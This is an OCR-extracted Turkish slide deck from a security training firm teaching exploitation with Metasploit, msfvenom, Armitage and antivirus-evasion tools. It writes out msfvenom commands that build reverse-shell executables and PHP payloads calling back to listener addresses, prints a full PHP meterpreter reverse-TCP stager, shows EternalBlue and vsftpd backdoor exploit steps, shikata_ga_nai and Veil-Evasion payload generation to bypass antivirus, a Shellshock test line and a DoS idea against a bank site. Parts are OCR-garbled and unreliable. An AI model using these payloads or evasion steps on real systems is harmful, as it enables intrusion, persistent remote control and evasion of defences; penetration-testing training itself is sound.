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v Exploit Asamasi Konulari

*  Exploit Nedir?
*  Exploit Cesitleri
* Local, remote ve Oday exploitler
*  Exploit Veritabanlar
- Ornek Exploit Senaryolari
*  Exploit Derleme ve Kullanim Senaryolari
*  Exploit Frameworkleri
*  Payload Kavrami
*  Metasploit Framework
*  Antivirus Atlatma Yazilmlari
*  Veil-Evasion

*  Shellter

Uygulamalar
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v Temel Kavramlar

Exploit nedir?
Bir zafiyeti somurmek amaciyla gelistirilmis araclara verilen isimdir.

Somuirii kodu olarak da adlandirilir.

sh-3.29 env ='() {::): echow

Local Exploit

Remote Exploit

Web Exploi

D es : XF: o vulnerable

oS Exploit this is a test
Oday Exploit

Payload nedir?

Exploit sonrasi yapilmasi isteneni gerceklestiren zararl kod parcasi
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rable' bash -c "echo this is »
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v Exploit Veritabanlar

Exploitlerin toplu olarak bulundugu Ei-ri-lﬂlxs} H

ome Exploits Shellcode Papers Google Hacking Database Submit Search

veritabanlaridir. Bu veritabanlarinda Offensive Security’s Exploit Database Archive 40075

- L] - L]
kestdllen ‘IGZ|I|m ‘,e Ser"ISIer Igln The Exploit Database - ultimate archive of Exploits, Shellcode, and Security Papers. New to the site? Learn about the Exploit Database EXplOI(S Archived

L] ugm ',‘. )
exploit aranabilir. The Exploit Database EH@ B}@ H ’ <
» The Exploit Database (EDB) is a CVE compliant archive of exploits and . S
Exp I o It- d b . co m vulnerable software. A great resource for penetration testers, vulnerability [] J} > ]
researchers, and security addicts alike. Our goal is to collect exploits from D :3

various sources and concentrate them in one, easy to navigate database

i Download the it Database Archive H ﬁ-’f :_/
Securityfocus.com Eoin see ~ CVE Compliant (%)/-

cve.mitre.org

Oday.today

Remote Exploits = f ¥ O N
Exploits.shodan.io T A RS S 3 SO 8 A, W AU SRS

. DateAdded D A
Iedb.lr 2018-10-08

\')
v
2018-10-08 - & Unitrends UEB - HTTP APl Remote Code Execution (Metasploit) Linux Metasploit
A\
v

Cxsecurity.com/exploit s 100

Rapid7.com/db (©  Usoft Uplay Desktop Glient 63.05639.0 - Remote Code Executin
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Title Platform Author

Navigate CMS - Unauthenticated Remote Code Execution (Metasploit) PHP Metasploit

Cisco Prime Infrastructure - Unauthenticated Remote Code Execution Multiple SecuriTeam
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v Exploit Gelistirme Dilleri

* Exploitler genelde hangi dillerde yaziliyor?

*  Python
« C/C++
*  Perl

*  PHP

*  Ruby

*  Framework ihtiyaci neden dogdu?

* Metasploit Framework ornegi

© All Rights Reserved.
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Exploit Derleme / Kullanim — Uygulama

EXPLOIT »
DATABASE

Home Exploits Shellcode Papers Google Hacking Database Submit Search

Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local
Privilege Escalation (1)

\

EDB-ID: 39166

CVE: CVE-2015-8660
Aliases: overlayfail
E-DB Verified:

« Previous Exploit

/*

Date:

Version:
Tested on:
CVE

W e e

blah@ubuntu:~$
uid=1001 (blah)
blah@ubuntu:~$

Ubuntu 14.04.3
blah@ubuntu:~$
root@ubuntu:~#
uid=0 (root)

12/2015
by rebel

PRISMA
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Author: rebel
Type: Local
Advisory/Source: N/A

Exploit: &

just another overlayfs exploit,

Exploit Title:
2016-01-05
Exploit Author:
Ubuntu 14.04 LTS,
Ubuntu 14.04 LTS,
: CVE-2015-8660

Linux ubuntu 3.

Published: 2016-01-05
Platform: Linux
Tags: N/A

Download / View Raw  Vulnerable App: [71

Next Exploit »

works on kernels before 2015-12-26

overlayfs local root

rebel

15.10 and more
15.10

id

gid=1001(blah) groups=1001(blah)

uname -a && cat /etc/issue

19.0-42-generic #48~14.04.1-Ubuntu SMP Fri Dec 1B 10:24:49 UTC 2015 xB6_64 x86_64 x86_64 GNU/Linux
LTS \n \1

./overlayfail

id

gid=1001 (blah) groups=0(root), 1001 (blah)

6354b4e23db225b565d79£226f2e4%ec0feleld

Www.prismacsi.com
© All Rights Reserved.




v Exploit Duzenleme

Exploitler her sistem uzerinde calismaz.

- isletim sistemi, islemci mimarisi, sistem dili gibi farkli 6zelliklere gore parametreler degisebilir.
*  Bu durumda exploiti diizenlemek ve daha sonrasinda calistirmak gerekir.

* Denemeler icin hedef sistemin birebir kopyasi laboratuvar ortaminda olusturulabilir.

*  Tek bir saldin hakkiniz varmis gibi dusunun!

* Sistem crash olursa her sey bitebilir.
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v Exploit Ornegi - Senaryo

Bir bankanin kredi hesaplama alanini dusuntn!

* Hesaplama nerede yapiliyor? ( Server? Client? )

* Senaryoda belirtilen istegi bir python scripti ile 1 dakika icinde
binlerce kez yaparsak?

*  Basit bir DoS Exploiti ©
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Ihtiyag Kredisi Hesaplama

Kredi Tlrd

ihtiyag Kredisi

Kredi Tutari
10.000 TL
Kredi Vadesi

36 Ay =

TEKLIFLERI GOSTER




v Exploit Frameworkler

Metasploit Community
Metasploit Pro

Core Impact
Exploithub

BeEF

CYBER SECURITY ANO INTELLIGEN

ExploitHub

Www.prismacsi.com
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v Metasploit Framework

* Metasploit Framework

CYBER SECURITY ANDO INTELLI

Kurulum

Temel komutlar

Auxiliary modulleri

Exploit kullanimi

Payload listesi ve Meterpreter kullanimi
Cikt1 analizleri

Post Exploitation

IGEN

Www.prismacsi.com
© All Rights Reserved.
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v Metasploit Framework

root@PRISMACSI: ~ © e O

File Edit View Search Terminal Help
:~# msfconsole

Acik kaynak gelistirilen bir yazilim.
Pro versiyonu da var fakat bize

community yeterli olacaktir.

Exploitler
Payloadlar
ili T : -- --=[ 1773 exploits - 1011 auxiliary - 307 post ]
AUXIIIC"'\I mOdUIlerl -- --=[ 538 payloads - 41 encoders - 10 nops ]
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
Encoderlar

Post exploitler

: CYBER SECURITY AND INTELLIGENCE © A" Rights ReserVEd' @



v Metasploit Framework

*  Kurulum icin asagidaki adresi ziyaret edebilirsiniz:

* https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

* @Guincelleme:

- msfupdate

MPRISMA
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https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

v Metasploit Framework

root@PRISMACSI: ~ O e O

File Edit View Search Terminal Help
:~# msfconsole

=[ me it v4.16.61-de ]
--=[ 1773 exploits - 1011 auxiliary - 307 post ]
]
]

--=[ 538 payloads - 41 encoders - 10 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp

v P R | S M A © All Rights Reserved.
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v Metasploit Framework

Baslangic
msfconsole
ile komut satirina inebilirsiniz.
db_status

komutu ile veritabaninin

durumunu kontrol edebilirsiniz.

MPRISMA
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File Edit View Search Terminal Help

msf > db status
| postgresql connected to msf
> workspace

> 1

© All Rights Reserved.
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v Metasploit Framework

root@PRISMACSI: ~ e e 0

File Edit View Search Terminal Help
msf > db status

WOI’kSpOCE *] postgresql connected to msf

> workspace

Workspace kavrami

komutu ile calisma alanlarini

> 1

listeleyin.

workspace -a prisma

prisma calisma alanini yaratin.
workspace prisma

prisma calisma alanina gecis yapin.
workspace -d prisma

prisma calisma alanini silin.

: CYBER SECURITY AND INTELLIGENCE © A" Rights ReserVEd' @



@ Metasploit Framework

root@PRISMACSI: ~ ©o e 0

File Edit View Search Terminal Help

msf > workspace -a egitim
[*] Added workspace: egitim
msf > workspace egitim
[*] Workspace: egitim
msf > workspace

default

msf > []

MPRISMA
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v Metasploit Framework

* Nessus, Nmap ciktilari ile calisma
Tarama yazilimlarinin ¢iktilarini metasploit ile entegre bir sekilde kullanabilirsiniz. Bu Metasploit
Framework'un en giizel ozelliklerinden birisidir.
* db_import nmap.xml
nmap ciktisini import edebilirsiniz.
* db_import nessus-report.nessus
nessus ¢iktisini import edebilirsiniz.
« db_export -f xml /tmp/prisma.xml

calisma alaninizdaki verileri export edebilirsiniz.

MPRISMA
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@ Metasploit Framework

MPRISMA
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root@PRISMACSI: ~
File Edit View Search Terminal Help

msf > db import /root/deneme.

deneme.gnmap deneme.nmap deneme.xml

msf > db import /root/deneme.xml

[*] Importing 'Nmap XML' data

*] Import: Parsing with 'Nokogiri v1.8.2'
Importing host 127.0.0.1

[
|
[*] Successfully imported /root/deneme.xml
msf > [

© All Rights Reserved.



@ Metasploit Framework

MPRISMA
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File Edit View Search Terminal

msf > db export /tmp/msf.xml
Starting export

*]

]
l
|
[

¥ ]
|
\
]
]

|
|
[
[*
[
|
|
|
|
i 4
I

>>
>>
>>
>>
>>
>>
>>
>>
>>

Starting
Starting
Starting
Starting
Starting
Starting
Starting
Starting
Starting

of workspace egitim to /tmp/msf.xml [ xml ]...

export
export
export
export
export
export
export
export
export

of
of
of
of
of
of
of
of
of

root@PRISMACSI: ~
Help

report
hosts
events
services
web sites
web pages
web forms
web vulns

module details
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@ Metasploit Framework

*  Workspace icerisinde bulunan veriler:

* hosts
°  services
* creds
* loots

CYBER SECURITY ANDO INTELLIGENI

Www.prismacsi.com
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v Metasploit Framework

* Hosts komutu
*  Db_nmap -sS -Pn -n 10.0.1.0/24
Komutu ile bir nmap taramasi gerceklestirebilirsiniz. Bu komutun ciktisi sonrasi kesfedilen tum IP
adresleri hosts komutu ile goruntiilenebilir olacaktir.
*  Komutun tum islevlerine hosts —h ile erisebilirsiniz.

* hosts =R komutu ile adresleri RHOST parametresine atayabilirsiniz.

MPRISMA

mmmmmmmmmmmmmmmm © All Rights Reserved.




@ Metasploit Framework

root@PRISMACSI: ~ @ ® ©
File Edit View Search Terminal Help

device

MPRISMA
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v Metasploit Framework

* Services komutu
* db_nmap -sS —Pn —n 10.0.1.0/24 -sV
Komutu ile bir nmap taramasi gerceklestirebilirsiniz. Bu komutun ¢iktisi sonrasi tum IP adresleri uzerinde
bulunan portlar ve ustunde calisan servisleri services komutu ile goruntuleyebilirsiniz.
*  Komutun tum islevlerine services —h ile erisebilirsiniz.
° services —p 445
* services —S http

* services —p 80 -R

MPRISMA
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@ Metasploit Framework

root@PRISMACSI: ~ e ® O

File Edit View Search Terminal Help
msf > services

port name state info

22 ssh
80 http
5432 postgresql

MPRISMA
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v Metasploit Temel Komut Listesi

help
Yardim komutu
banner
Sekil fotograflar cekinebilmenize olanak saglar ©
info
Herhangi bir plugin icin bilgi alabilirsiniz
info exploit/windows/smb/psexec
search
Arama komutu

search ms17-010

© All Rights Reserved.
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v Metasploit Temel Komut Listesi

use
Exploiti se¢memizi saglar
use exploit/windows/smb/psexec
set
Exploit
info
Herhangi bir plugin icin bilgi alabilirsiniz
info exploit/windows/smb/psexec
search
Arama komutu

search ms17-010

© All Rights Reserved.
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v Metasploit Framework - Help

root@PRISMACSI: ~ e ® O

File Edit View Search Terminal Help
mst > help

Core Commands

Description

Help menu
Display an awesome metasploit banner
Change the current working directory
Toggle color
connect Communicate with a host
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
history Show command history
irb Drop into irb scripting mode
load Load a framework plugin
quit Exit the console
route Route traffic through a session
save Saves the active datastores
sessions Dump session listings and display information about sessions

: CYBER SECURITY AND INTELLIGENCE © A" Rights ReserVEd' @



v Metasploit Framework - Banner

root@PRISMACSI: ~ o 6 0

File Edit View Search Terminal Help
msf > banner

PAYLOAD

MPRISMA
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&) WMetasploit Framework - Info

root@PRISMACSI: ~ o ® O

File Edit View Search Terminal Help
mst > info auxlliary/scanner/portscan/syn

Name: TCP SYN Port Scanner
Module: auxiliary/scanner/portscan/syn
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
kris katterjohn <katterjohn@gmail.com>

Basic options:
Name Current Setting Required Description

BATCHSIZE 256 number of hosts to scan per set

DELAY 0 yes delay between connections, per threa
d, in milliseconds

INTERFACE no name of the interface

JITTER 0 yes The delay jitter factor (maximum value b
y which to +/- DELAY) in milliseconds.

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS yes The target address range or CIDR identif
ier

SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads

: CYBER SECURITY AND INTELLIGENCE © A" Rights ReserVEd' @



@ Metasploit Temel Komut Listesi

set
Bir parametreye deger atamak icin kullanilr.
set RHOST 10.0.1.5
setg
Parametreye deger global olarak atanir.
unset
Parametredeki deger sifirlanir.
show
Adi iistiinde ©
use

Bir plugini aktiflestirmek icin kullanilir.

© All Rights Reserved.
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v Metasploit Temel Komut Listesi

* run ve exploit

*  Bir plugini calistirmak istediginizde kullanabilirsiniz.
* load ve unload

+  Bir modulu aktiflestirmek ve pasiflestirmek icin kullanabilirsiniz.
* exit

*  Cikas komutu

MPRISMA
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v Metasploit Show Komutu

show payloads

* Payloadlan listele

show targets

* Bir plugin icin atak yapmaya uygun isletim sistemlerini listele

show options

Bir plugin icin ayar parametrelerini goster

show encoders

* Encoderlan listele

MPRISMA
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v Auxillary Modulleri ve Kullanimi

show auxillary

he problem seems to be caused by the following file: RDPWD.

searc h sm b I 0 gi n AGE_FAULT_IN_NONPAGED_AREA
- first time
comp uter.

use auxillary/dos/windows/rdp/ms12_020

installed.

SEt RHOST : y : I_ i aht .J_' vare - 5 manufacturer
set RPORT

run

¥ STOP:

RDPWD.SYS - Address B275CFAB base at B2 ), Da tamp 3b7

v P R | S M /\ © All Rights Reserved. @ OO
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@ Exploit Denemesi (MS17-010)

search netapi

info exploit/windows/smb/ms17 _010_eternalblue

use exploit/windows/smb/ms17 _010_eternalblue

show options

set payload windows/meterpreter/bind _tcp
set LHOST,

set RHOST

set RPORT

exploit

CYBER SECURITY AND INTELLIGEN
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&) Payload Ornekleri

« set PAYLOAD windows/meterpreter/reverse_http

» set PAYLOAD windows/shell/bind _tcp

« set PAYLOAD linux/x86/meterpreter/reverse_https
* set PAYLOAD php/meterpreter/bind _tcp

* set PAYLOAD java/meterpreter/bind_tcp

* set PAYLOAD /windows/vncinject/reverse_tcp

MPRISMA
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v Reverse/Bind Shell

# Reverse TCP Connection

ATTACKER _ VICTIM
Step 1: Exploit
—
Listen 6721
Step2 Step3: Reverse TCP to0 3.3.3.3:6721
3333 3.3.36
# Bind TCP Connection
ATTACKER , VICTIM
Step 1: Exploit
-
Listen 4444
-+ (-
Step3: Bind TCP t0 3.3.3.6:4444 Step2
3333 3336

v P R | S M /\ Www.prismacsi.com
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&) Session Yonetimi

« exploit/multi/handler
* Dinleyici olarak kullanabilirsiniz.
* Dinleyicinin birden fazla hedeften baglanti alabilmesi i¢in jobs olarak ¢alistirabilirsiniz.
* jobs gorevi icin:
* exploit —j

* jobs komutu ile listeleme yapabilirsiniz.

MPRISMA
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Q) Session Yonetimi

+ sessions komutu ile elde edilmis tum oturumlari kontrol edebilirsiniz.
- sessions —|: listeleme
* session —i 1: 1. session ile etkilesime gec
+ sessions —K : tum sessionlan bitir
* sessions —u : oturumu meterpreter oturumuna yukselt
*  kill : sessioni oldurmek icin kullanilir.

* background : sessioni arka plana alir ve metasploit konsola geri doner.

MPRISMA
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v Exploit Arama

Searchsploit

View Search Terminal

]# searchsploit struts

(/usr/share/exploitdb/)

'ParametersInterceptor' Remote Code Execution (Metasploit) exploits/multiple/remote/24874.rb
ClassLoader Manipulation Remote Code Execution (Metasploit) exploits/multiple/remote/33142.rb
Developer Mode OGNL Execution (Metasploit) exploits/java/remote/31434.rb
Dynamic Method Invocation Remote Code Execution (Metasploit) exploits/linux/remote/39756.rb

- Multiple Persistent Cross-Site Scripting Vulnerabilities exploits/multiple/webapps/18452.txt

MPRISMA
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Apache
Apache
Apache
Apache
Apache
Apache
Apache
Apache
Apache
Apache
Apache
Apache
Apache
Apache
Apache
Apache
Apache

NNNNNNNNNNNNNNNNNMS

OGNL Expression Injection

REST Plugin With Dynamic Method Invocation Remote Code Execution

REST Plugin With Dynamic Method Invocation Remote Code Execution (Metasploi
includeParams Remote Code Execution (Metasploit)

.2.7 - Error Response Cross-Site Scripting

DefaultActionMapper Prefixes OGNL Code Execution (Metasploit)
Namespace Redirect OGNL Injection (Metasploit)
Skill Name Remote Code Execution
1 Plugin Showcase OGNL Code Execution (Metasploit)

2.3.1 - Multiple Vulnerabilities
'XSLTResult.java' Arbitrary File Upload
< 2.2.1.1 - XWork 's:submit' HTML Tag Cross-Site Scripting
< 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution
2.1.8 - Session Tampering Security Bypass
1 Remote Command Execution (Metasploit)

Multiple Open Redirections
2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1)
2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2)
< 2.3.31 / 2.5 < 2.5.10 - 'Jakarta' Multipart Parser OGNL Injection (Me
< 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution
Showcase - Remote Code Execution
2.5.12 - REST Plugin XStream Remote Code Execution

MWWWWWNNODOOOA

0
1
9
1
3
<
<
5
5
X
<
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exploits/multiple/remote/38549. txt
exploits/multiple/remote/43382.py
exploits/multiple/remote/39919.rb
exploits/multiple/remote/25980.rb
exploits/multiple/remote/26542.txt
exploits/multiple/remote/27135.rb
exploits/multiple/remote/45367.rb
exploits/multiple/remote/37647.txt
exploits/multiple/remote/44643.rb
exploits/multiple/webapps/18329.txt
exploits/java/webapps/37009.xml
exploits/multiple/remote/35735. txt
exploits/multiple/remote/44556.py
exploits/multiple/remote/36426. txt
exploits/multiple/remote/18984.rb
exploits/multiple/remote/38666.txt
exploits/linux/remote/45260.py
exploits/multiple/remote/45262.py
exploits/multiple/remote/41614.rb
exploits/linux/webapps/41570.py
exploits/multiple/webapps/42324.py
exploits/linux/remote/42627.py




v Msfvenom nedir?

* Hedef sistemde dogrudan atak yapilabilecek bir zafiyet olmayabilir.

*  Bu durumda farkh yollar ile sisteme sizmayi1 denemek gerekebilir.

- Ornegin yaratilacak bir zararli exe nin bir sekilde sisteme yiiklemesi basaril olur ve bu zararli dosya
cahistinlabilirse sistem ele gecirilebilir.

* Veya file upload zafiyeti yakaladiginiz bir web uygulamasina php ile yazilmis zararh shell yiiklemek ve bu
zararl ile birlikte bir metasploit iizerine terminal baglantisi almak isteyebilirsiniz.

- iste burada devreye msfvenom giriyor!
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v Msfvenom Kullanimi

*  Msfvenom temel kullanim komutlan
* msfvenom -h
* msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.10.10 Iport=1337-f exe > shell.exe
* msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.10.10. Iport=4444 -f raw > exp.php

* msfvenom - p windows/meterpreter/reverse_tcp lhost=172.16.10.10 Iport=4444 -f war -a x86

MPRISMA
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v Msfvenom AV Atlatma - Uygulamalar

* msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.10.10 Iport=1337 -e x86/shikata_ga_nai -i 15

-f exe -o shell.exe

MPRISMA
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v Msfvenom Yardim

MPRISMA
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root@PRISMACSI: ~ o e 0

File Edit View Search Terminal Help

:~# msfvenom -h
MsfVvenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Options:
-1, --list <type> List all modules for [type]. Types are: pay
loads, encoders, nops, platforms, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --
list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced
and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to
list)
--smallest Generate the smallest possible payload usin
g all available encoders
-a, --arch <arch> The architecture to use for --payload and -
-encoders
--platform <platform> The platform for --payload (use --list plat
forms to list)
-0, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to th
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&) Msfvenom PHP Payload igerigi

MPRISMA

CYBER SECURITY ANDO INTELLIGENCE

root@PRISMACSI: ~ O e 0

File Edit View Search Terminal Help

:~# msfvenom -p php/meterpreter/reverse tcp lhost=10.10.5.5 lport=
7777 raw > prisma.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the paylo
ad
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1110 bytes

:~# cat prisma.php

/*<?php /**/ error reporting(®); $ip = '10.10.5.5'; $port = 7777; if (($f = 'str
eam socket client') && is callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s typ
e = 'stream'; } if (!$s && ($f = 'fsockopen') && is callable($f)) { $s = $f($ip,
$port); $s type = 'stream'; } if (!$s && ($f = 'socket create') && is callable(
$f)) { $s = $f(AF INET, SOCK STREAM, SOL TCP); $res = @socket connect($s, $ip, $
if (!$res) { die(); } $s type = 'socket'; } if (!$s type) { die('no socke

; } if ('$s) { die('no socket'); } switch ($s type) { case 'stream': $1

= fread(%$s, 4); break; case 'socket': $len = socket read($s, 4); break; } if
('$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (
strlen($b) < $len) { switch ($s type) { case 'stream': $b .= fread($s, $len-strl
en($b)); break; case 'socket': $b .= socket read($s, $len-strlen($b)); break; }
} $GLOBALS[ 'msgsock'] = $s; $GLOBALS['msgsock type'] = $s type; if (extension lo
aded( 'suhosin') && ini get('suhosin.executor.disable eval')) { $suhosin bypass=c

reatefuaction(", $b); $suhosin _bypass(); } else { eval($b); } die();
i

© All Rights Reserved.



v Metasploit Ek Plugin Yukleme

* https://github.com/darkoperator/Metasploit-Plugins

Pull requests Issues Marketplace Explore

.| darkoperator / Metasploit-Plugins Owatch> 31 %star 257  YFork 91
<> Code Issues 0 Pull requests 1 Projects 0 Wiki Insights

Plugins for Metasploit Framework

(P 86 commits ¥ 1 branch © 0 releases 42 3 contributors
Branch: master v New pull request Create new file  Upload files  Find file [EUTEZE BT R
& darkoperator Merge pull request #11 from PlerrickV/patch-2 = Latest commit 7d5¢217 on Dec 22, 2017
README.md Update README.md 2 years ago
growl.rb Removed trailling whitespaces 6 years ago
pentest.rb Deprecate udp_probe and move to udp_sweep 9 months ago
twitt.rb some additional commands 6 years ago

E5 README.md

Metasploit-Plugins

Plugins for Metasploit Framework. Currently only the Pentest plugin is being maintained do to changes in Metasploit
Framework that limit what gems can be loaded when the framework starts.

Installation

Copy the plugin you wish to use in to your .msf4/plugin folder in your home folder for your current user. To test that the
plugin was properly install you can use the load command to load the plugin.

msf > load pentest

v P R | S M /\ Www.prismacsi.com
© All Rights Reserved.
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&) WMetasploit Ozellik Ekleme

Dosyalar manuel olarak ~/.msf4/plugin/ altina yuklenir.

root@prisma-kali: ~/.msf4/plugins

File Edit View Search Terminal Help

[root: 1# nano pentest.rb

[root: ]1# 1s -1la

total 100

drwxr-xr-x 2 root root 4096 Sep 19 11:22

drwxr-xr-x 9 root root 4096 Sep 13 09:41

-rw-r--r-- 1 root root 93058 Sep 19 11:22 pentest.rb
[root: ]#l

systemctl start postgresql; msfdb start; msfconsole "$@
File Edit View Search Terminal Help

msf > load pentest

Version 1.5

Pentest plugin loaded.

by Carlos Perez (carlos perez[at]darkoperator.com)
[*] Successfully loaded plugin: pentest

msf >

MPRISMA
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v Armitage Kullanimi

*  Metasploit Framework GUI
* Cok daha hizh aksiyon almak i¢in kullaniliyor

 Arayuzu sayesinde kullanimi console uygulamasina gore biraz daha kolay

RENTRGE

- HACKING

v P R | S WWW.prismacsi.com
CYBER SECURITY AND INT!

© All Rights Reserved.




v Armitage Kullanimi

Host ekleme

Armitage

Armitage View Attacks Workspaces Help

» [ auxiliary Import Hosts

> [ exploit Add Hosts...
4 l; payload Nmap Scan -
> [ post MSF Scans...

DNS Enumerate

Clear Database

© All Rights Reserved.
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v Armitage Kullanimi

Host tarama
Armitage View Hosts Attacks Workspaces Help
» [ auxiliary
» [ exploit

» [ payload
» [ post

e ______aa
Services

== Scan

MPRISMA
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v Armitage Kullanimi

Armitage View Hosts Attacks Workspaces Help

> [ auxiliary

Tarama Sonucu > (i explot

» [ payload
» [ post

ftp
http
mysql

postgres

-aw

Console X | Scan X

192.168.234.128:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
Scanned 1 of 1 hosts (100% complete)

1 scan to go...
msf auxiliary( ) > use scanner/postgres/postgres_version
msf auxiliary( ) > set THREADS 24
THREADS => 24
msf auxiliary( ) > set RPORT 5432
RPORT => 5432

msf auxiliary( ) > set RHOSTS 192.168.234,128
RHOSTS => 192.168.234.128

msf auxiliary( ) > run -j

[*] Auxiliary module running as background job

[*] 192.168.234.128:5432 Postgres - Version 8.3.8 (Pre-Auth)
[*] Scanned 1 of 1 hosts (100°% complete)

[*] Scan complete in 57.57s

MPRISMA
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v Armitage Kullanimi

Atak vektorlerinin kesfi

CYBER SECURITY ANDO INTELLIGENI

Www.prismacsi.com
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v Armitage Kullanimi

Armitage View Hosts Attacks Workspaces Help

* | auxiliary
. » | exploit <
Java_rmi_attack - @ payioad |

» [ post

[162.168.2

distcc_exec
java_rmi_server
pbot_exec
ralnx_pubcall_exec

postgres
realserver
samba
smtp

ssh
telnet
webapp
wyse

check exploits...

VY YYVYYVYYVYYRAAY YY

-w |

|7Console X | Scan X | exploit X

sf > use exploit/unix/ftp/vsftpd_234 backdoor
st exploit( ) > set LHOST 192.168,234,130
HOST => 192,168.234,130

) set RPORT 21

st exploit( set LPORT 14451
PORT => 14451
sf exploit( set RHOST 192.168.234.128
10ST => 192.168.234.128
st exploit( set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact
st exploit( ) > set TARGET 0
ARGET => 0
msf exploit( ) > exploit -j
[*] Exploit running as background job.
*] Banner: 220 (vsFTPd 2.3.4)
*] USER: 331 Please specify the password.

v P R | S M /\ © All Rights Reserved. @@@@
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v Armitage Kullanimi

Armitage View Hosts Attacks Workspaces Help

Java_rmi_attack

Meterpreter oturumu

MPRISMA

CYBER SECURITY ANDO INTELLIGENCE

> | auxiliary
> [ exploit
» | payload
» [ post

192.168.234.128
root @ metasploitable

-w

lConsoIe X ] Scan X I exploit X | exploit X

msf exploit( ) > set PAYLOAD java/meterpreter/bind_tcp
PAYLOAD => java/meterpreter/bind_tcp

msf exploit( ) > set TARGET 0

TARGET => 0

msf exploit( ) > set SRVHOST 0.0.0.0

SRVHOST => 0.0.0.0

ms

l *

[
[
[
[
[
[
[+
l.
l.

|
I
1
|
)
)
]
]

f
I

exploit( ) > exploit -j

Exploit running as background job.

Started bind handler

Using URL: http://0.0.0.0:8080/ShoHVIuUFL9

Local IP: http://192.168.234,130:8080/ShoHVIuFL9

Connected and sending request for http://192.168.234,130:8080/ShoHVIuFL9/nLulOUyc. jar
192,168.234,128 java_mmi_server - Replied to request for payload JAR

Sending stage (30355 bytes) to 192,168.234,128

Target 192,168,234,128:1099 may be exploitable...

Meterpreter session 1 opened (192.168,234,130:59500 -> 192,168,234,128:2040) at 2014-01-31 13:06:57 +0200

Server stopped.

meterpreter >

© All Rights Reserved.
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&) Antiviriis Atlatma Araclan

Hedef sistemlerde bir antiviriis mekanizmasi bulunabilir.

Bu durumda saldinlar cok daha temkinli gerceklestirmek gerekir.

Antivirusleri atlatmak amaciyla gelistirilmis araclar bulunmaktadir.

Kullanilan Araclar
Veil-Evasion
Shellter

AvOid

Msfvenom

© .
ccccccccccccccccccc All Rights Reserved.
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v Veil-Evasion Kurulumu

root@PRISMACSI: ~ o ® O

File Edit View Search Terminal Help

:~# apt-get install veil-evasion

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following packages were automatically installed and are no longer required:
libfile-copy-recursive-perl python-unicodecsv python3-configargparse
python3-flask python3-itsdangerous python3-jsbeautifier python3-pyinotify
python3-simplejson python3-werkzeug

Use 'sudo apt autoremove' to remove them.

The following additional packages will be installed:
binutils-mingw-w64-1686 binutils-mingw-w64-x86-64 ca-certificates-mono
cli-common g++-mingw-w64 g++-mingw-w64-1686 g++-mingw-w64-x86-64
gcc-mingw-w64 gcc-mingw-w64-base gcc-mingw-w64-1686 gcc-mingw-w64-x86-64
1libis119 libmono-corlib4.5-cil libmono-csharp4.0c-cil
libmono-il8n-west4.0-cil libmono-1i18n4.0-cil libmono-microsoft-csharp4.0-cil
libmono-posix4.0-cil libmono-security4.0-cil
libmono-system-configuration4.0-cil libmono-system-core4.0-cil
libmono-system-security4.0-cil libmono-system-xml4.0-cil
libmono-system4.0-cil mingw-w64 mingw-w64-common mingw-w64-1686-dev
mingw-w64-x86-64-dev mono-4.0-gac mono-gac mono-mcs mono-runtime
mono-runtime-common mono-runtime-sgen pkg-config python3-crypto veil

Suggested packages:
gcc-7-locales libmono-118n4.0-all libgamin® python-crypto-doc

The following NEW packages will be installed:
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v Veil-Evasion Payload Secimi

root@PRISMACSI: ~ © e 0

File Edit View Search Terminal Help
use Use a specific tool

[Web]: https://www.veil-framework.com/ | [Twitter]:

Veil-Evasion Menu
41 payloads loaded
Available Commands:

back Go to Veil's main menu

checkvt Check VirusTotal.com against generated hashes
clean Remove generated artifacts

exit Completely exit Veil

info Information on a specific payload

list List available payloads

use Use a specific payload

Veil/Evasion>: use c/meterpreter/revftcpl
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v Veil-Evasion Payload Ayarlar

root@PRISMACSI: ~ o 6 O

File Edit View Search Terminal Help

Rating: Excellent
Description: pure windows/meterpreter/reverse tcp stager, no
shellcode

Payload: c/meterpreter/rev_tcp selected
Required Options:

Name Description

COMPILE TO EXE Compile to an executable

LHOST IP of the Metasploit handler
LPORT Port of the Metasploit handler

Available Commands:

back Go back to Veil-Evasion

exit Completely exit Veil
generate Generate the payload

options Show the shellcode's options
set Set shellcode option

[c/meterpreter/rev tcp>>]: set LHOST 10.10.10.24
[c/meterpreter/rev tcp>>]: |}

: CYBER SECURITY AND INTELLIGENCE © A" Rights ReserVEd' @



&) Veil-Evasion Payload Uretimi - DEMO

root@PRISMACSI: ~ @ ® ©

File Edit View Search Terminal Help
[c/meterpreter/rev _tcp>>]: generate

[Web]: https://www.veil-framework.com/

[Web]: https://www.veil-framework.com/

Language: c
Payload Module: c/meterpreter/rev_tcp

Executable written to: /var/lib/veil/output/compiled/prisma.exe

